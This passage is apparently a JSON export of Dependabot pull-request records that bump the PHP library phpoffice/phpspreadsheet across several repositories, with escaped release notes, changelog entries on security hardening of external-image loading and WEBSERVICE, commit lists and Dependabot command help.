href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/396\"\u003e#396\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMethods to manage most of the existing options for Chart Axis, Major Grid-lines and Minor Grid-lines - \u003ca href=\"https://github.com/WiktrzGE\"\u003e\u003ccode\u003e@​WiktrzGE\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/404\"\u003e#404\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eODS read/write comments in the cell - \u003ca href=\"https://github.com/frost-nzcr4\"\u003e\u003ccode\u003e@​frost-nzcr4\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/403\"\u003e#403\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdditional Mac CJK codepage definitions - \u003ca href=\"https://github.com/CQD\"\u003e\u003ccode\u003e@​CQD\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/389\"\u003e#389\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpdate Worksheet.php getStyleByColumnAndRow() to allow a range of cells rather than just a single cell - \u003ca href=\"https://github.com/bolovincev\"\u003e\u003ccode\u003e@​bolovincev\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/269\"\u003e#269\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNew methods added for testing cell status within merge groups - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHandling merge cells in HTML Reader - \u003ccode\u003e@​cifren/MBaker\u003c/code\u003e \u003ca href=\"https://redirect.github.com/PHPOffice/PHPExcel/issues/205\"\u003e#205\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eHelper to convert basic HTML markup to a Rich Text object - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eImproved Iterators - \u003ca href=\"https://github.com/MarkBaker\"\u003e\u003ccode\u003e@​MarkBaker\u003c/code\u003e\u003c/a\u003e\n\u003cul\u003e\n\u003cli\u003eNew Column Iterator\u003c/li\u003e\n\u003cli\u003eSupport for row and column ranges\u003c/li\u003e\n\u003cli\u003eImproved handling for next/prev\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2f39286e0136673778b7a142b3f0d141e43d1714\"\u003e\u003ccode\u003e2f39286\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/c2cd0e64392438e4c6af082796eb65c1d629a266\"\u003e\u003ccode\u003ec2cd0e6\u003c/code\u003e\u003c/a\u003e Breaking Change When Loading External Images\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5e3a6a8a7df7a767a89614fa92183959f1ab1e9a\"\u003e\u003ccode\u003e5e3a6a8\u003c/code\u003e\u003c/a\u003e Changelog Update Semantic Versioning Statement\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/7c06eed662cce7ecab88f6f9f7626b443f5285df\"\u003e\u003ccode\u003e7c06eed\u003c/code\u003e\u003c/a\u003e All Readers - Allow or Forbid Fetching of External Images Release129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4545\"\u003e#4545\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/05b6c4378ddf3e81b460ea645c42b46432c0db25\"\u003e\u003ccode\u003e05b6c43\u003c/code\u003e\u003c/a\u003e Allow Xlsx Reader to Specify ParseHuge Release1291 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4515\"\u003e#4515\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/b94b4e9038d78e9b27600da14045b5f58e771141\"\u003e\u003ccode\u003eb94b4e9\u003c/code\u003e\u003c/a\u003e Removing Columns/Rows Containing Merged Cells (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4473\"\u003e#4473\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/ffbbf615f486e76dc5cfcc32e2d8fdd9caceb327\"\u003e\u003ccode\u003effbbf61\u003c/code\u003e\u003c/a\u003e Allow Spreadsheet Serialization Branch release129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4405\"\u003e#4405\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/7628348712d4b5a09033611633d6178873000c61\"\u003e\u003ccode\u003e7628348\u003c/code\u003e\u003c/a\u003e Allow php-cs-fixer to Handle Implicit Backslashes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/8f4c54186734e81f51e91d035652c62ea463826c\"\u003e\u003ccode\u003e8f4c541\u003c/code\u003e\u003c/a\u003e Fix TEXT and TIMEVALUE Functions 1.29 Branch (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4352\"\u003e#4352\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/9924c6c1d0e407a76063670446eff9632e547c8b\"\u003e\u003ccode\u003e9924c6c\u003c/code\u003e\u003c/a\u003e Update content-hash (composer update --lock)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/1.6.0...1.30.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=1.6.0\u0026new-version=1.30.0)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/casudinlix/HR/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/casudinlix/HR/pull/1","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/casudinlix%2FHR/issues/1","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/1/packages"}},{"old_version":"1.29.2","new_version":"1.30.2","update_type":"minor","path":null,"pr_created_at":"2026-03-31T06:55:49.000Z","version_change":"1.29.2 → 1.30.2","issue":{"uuid":"4176456642","node_id":"PR_kwDOR1dtVc7O2Yk_","number":2,"state":"closed","title":"Bump phpoffice/phpspreadsheet from 1.29.2 to 1.30.2","user":"dependabot[bot]","labels":["dependencies","php"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-04-28T23:22:48.000Z","author_association":null,"state_reason":null,"created_at":"2026-03-31T06:55:49.000Z","updated_at":"2026-04-28T23:22:49.000Z","time_to_close":2478419,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"1.29.2","new_version":"1.30.2","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 1.29.2 to 1.30.2.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.2.0 as of the date when this is being written), release390 (current version is 3.10.1), and release222 (2.4.1).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.30.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.12\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default.[PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4545\"\u003e#4545\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4545\"\u003ePHPOffice/PhpSpreadsheet#4545\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.11\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow php-cs-fixer to Handle Implicit Backslashes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow spreadsheet to be serialized. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4405\"\u003e#4405\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4405\"\u003ePHPOffice/PhpSpreadsheet#4405\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTEXT and TIMEVALUE functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003e#4249\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003ePHPOffice/PhpSpreadsheet#4249\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4352\"\u003e#4352\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4352\"\u003ePHPOffice/PhpSpreadsheet#4352\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoving Columns/Rows Containing Merged Cells. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4465\"\u003e#4465\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4465\"\u003ePHPOffice/PhpSpreadsheet#4465\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow Xlsx Reader to Specify ParseHuge. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003e#4260\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003ePHPOffice/PhpSpreadsheet#4260\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4515\"\u003e#4515\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4515\"\u003ePHPOffice/PhpSpreadsheet#4515\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.29.10\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow version 1 and 2 of \u003ccode\u003ecomposer/pcre\u003c/code\u003e.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/blob/1.30.2/CHANGELOG.md\"\u003ephpoffice/phpspreadsheet's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2026-01-10 - 1.30.2\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvaluation of WEBSERVICE no longer requires external client, but will use oldCalculatedValue unless the request is for a domain in a user-supplied whitelist. Security-related backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eDeprecated\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eSettings methods setHttpClient, unsetHttpClient, getHttpClient, and getRequestFactory are no longer used. No replacement.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eChanges to WEBSERVICE. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4751\"\u003e#4751\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4751\"\u003ePHPOffice/PhpSpreadsheet#4751\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-10-25 - 1.30.1\u003c/h2\u003e\n\u003ch3\u003eFunctionally Frozen\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExcept for security changes, no further maintenance will be applied to this branch.\nYou are encouraged to upgrade to a maintained branch as soon as possible.\nMaintained branches are master (preferred - version is 5.4.0 as of the date when this is being written), 3.10.x (current version is 3.10.3), and 2.4.x (2.4.3).\u003c/li\u003e\n\u003cli\u003eOf particular note is that this branch should not run under Php 8.5+, and will \u003cem\u003enot\u003c/em\u003e be updated to avoid deprecation notices introduced with Php 8.5.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2025-08-10 - 1.30.0\u003c/h2\u003e\n\u003ch3\u003eBreaking Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImages will be loaded from an external source (e.g. \u003ca href=\"http://example.com/img.png\"\u003ehttp://example.com/img.png\u003c/a\u003e) only if the reader is explicitly set to allow it via \u003ccode\u003e$reader-\u0026gt;setAllowExternalImages(true)\u003c/code\u003e. We do not believe that loading of external images is a widely used feature. This is a necessary change for security purposes. It unfortunately breaks Semantic Versioning for reasons described above; there is no way to start a new major version for this branch.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e2025-07-23 - 1.29.12\u003c/h1\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd to all readers the option to allow or forbid fetching external images. This is unconditionally allowed now. The default will be set to \u0026quot;allow\u0026quot;, so no code changes are necessary. However, we are giving consideration to changing the default.[PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4545\"\u003e#4545\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4545\"\u003ePHPOffice/PhpSpreadsheet#4545\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e2025-06-22 - 1.29.11\u003c/h1\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow php-cs-fixer to Handle Implicit Backslashes.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAllow spreadsheet to be serialized. [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4405\"\u003e#4405\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4405\"\u003ePHPOffice/PhpSpreadsheet#4405\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eTEXT and TIMEVALUE functions. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003e#4249\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4249\"\u003ePHPOffice/PhpSpreadsheet#4249\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4352\"\u003e#4352\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4352\"\u003ePHPOffice/PhpSpreadsheet#4352\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoving Columns/Rows Containing Merged Cells. Backport of [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4465\"\u003e#4465\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4465\"\u003ePHPOffice/PhpSpreadsheet#4465\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAllow Xlsx Reader to Specify ParseHuge. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003e#4260\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4260\"\u003ePHPOffice/PhpSpreadsheet#4260\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4515\"\u003e#4515\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4515\"\u003ePHPOffice/PhpSpreadsheet#4515\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/09cdde5e2f078b9a3358dd217e2c8cb4dac84be2\"\u003e\u003ccode\u003e09cdde5\u003c/code\u003e\u003c/a\u003e Instantiator Problem (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4778\"\u003e#4778\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/4ad82d2ffcba5de36d5790f7a88910e977a886e3\"\u003e\u003ccode\u003e4ad82d2\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/1ca2b80689ec464bd66e8cde654c278cb6f2d101\"\u003e\u003ccode\u003e1ca2b80\u003c/code\u003e\u003c/a\u003e Changes to WEBSERVICE R129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4758\"\u003e#4758\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/e86246354c7e79771705945377c743edc1246435\"\u003e\u003ccode\u003ee862463\u003c/code\u003e\u003c/a\u003e Update README With New Branch Names\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/fa8257a579ec623473eabfe49731de5967306c4c\"\u003e\u003ccode\u003efa8257a\u003c/code\u003e\u003c/a\u003e Prep Work for 1.30.1\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/5d81305a177b3932158d087f9a6dcf8f970c59b2\"\u003e\u003ccode\u003e5d81305\u003c/code\u003e\u003c/a\u003e Update Readme release1291 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4612\"\u003e#4612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/bc373185caf4e074478b23f3df0cdbc42a366d79\"\u003e\u003ccode\u003ebc37318\u003c/code\u003e\u003c/a\u003e Branch release1291 Will Not Be Updated for Php 8.5 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4606\"\u003e#4606\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/df6d8248000ef662fa4f5eba597e4a1cd2bdbdfa\"\u003e\u003ccode\u003edf6d824\u003c/code\u003e\u003c/a\u003e Update Mpdf (Php8.5) release1291 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4592\"\u003e#4592\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/fc0d8bd2f5dedb94f4bb3e5623503dcba9e05d81\"\u003e\u003ccode\u003efc0d8bd\u003c/code\u003e\u003c/a\u003e Update react/promise (Php8.5) and setasign/fpdi (security) release129 (\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4586\"\u003e#4586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/commit/2f39286e0136673778b7a142b3f0d141e43d1714\"\u003e\u003ccode\u003e2f39286\u003c/code\u003e\u003c/a\u003e Prepare Changelog for New Release\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/compare/1.29.2...1.30.2\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\n[![Dependabot compatibility score](https://dependabot-badges.githubapp.com/badges/compatibility_score?dependency-name=phpoffice/phpspreadsheet\u0026package-manager=composer\u0026previous-version=1.29.2\u0026new-version=1.30.2)](https://docs.github.com/en/github/managing-security-vulnerabilities/about-dependabot-security-updates#about-compatibility-scores)\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore this major version` will close this PR and stop Dependabot creating any more for this major version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this minor version` will close this PR and stop Dependabot creating any more for this minor version (unless you reopen the PR or upgrade to it yourself)\n- `@dependabot ignore this dependency` will close this PR and stop Dependabot creating any more for this dependency (unless you reopen the PR or upgrade to it yourself)\nYou can disable automated security fix PRs for this repo from the [Security Alerts page](https://github.com/muhammadyunus1072/hr-exata-group/network/alerts).\n\n\u003c/details\u003e","html_url":"https://github.com/muhammadyunus1072/hr-exata-group/pull/2","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/muhammadyunus1072%2Fhr-exata-group/issues/2","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/2/packages"}},{"old_version":"5.4.0","new_version":"5.5.0","update_type":"minor","path":null,"pr_created_at":"2026-03-02T08:28:32.000Z","version_change":"5.4.0 → 5.5.0","issue":{"uuid":"4009971134","node_id":"PR_kwDORYJjRs7HQ8VA","number":9,"state":"open","title":"chore(deps): bump phpoffice/phpspreadsheet from 5.4.0 to 5.5.0","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-03-02T08:28:32.000Z","updated_at":"2026-03-02T08:28:33.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps)","packages":[{"name":"phpoffice/phpspreadsheet","old_version":"5.4.0","new_version":"5.5.0","repository_url":"https://github.com/PHPOffice/PhpSpreadsheet"}],"path":null,"ecosystem":"packagist"},"body":"Bumps [phpoffice/phpspreadsheet](https://github.com/PHPOffice/PhpSpreadsheet) from 5.4.0 to 5.5.0.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/PHPOffice/PhpSpreadsheet/releases\"\u003ephpoffice/phpspreadsheet's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.5.0\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eMuch improved handling of Styles by Ods Reader. The relevant changes are listed at the end of the \u0026quot;Fixed\u0026quot; section below.\u003c/li\u003e\n\u003cli\u003eOption to use OldCalculatedValue in ToArray and Relatives. [Issue \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003e#1810\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/1810\"\u003ePHPOffice/PhpSpreadsheet#1810\u003c/a\u003e) [PR \u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/issues/4787\"\u003e#4787\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/PHPOffice/PhpSpreadsheet/pull/4787\"\u003ePHPOffice/PhpSpreadsheet#4787\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd checkbox style (Xlsx and Html). [PR \u003ca 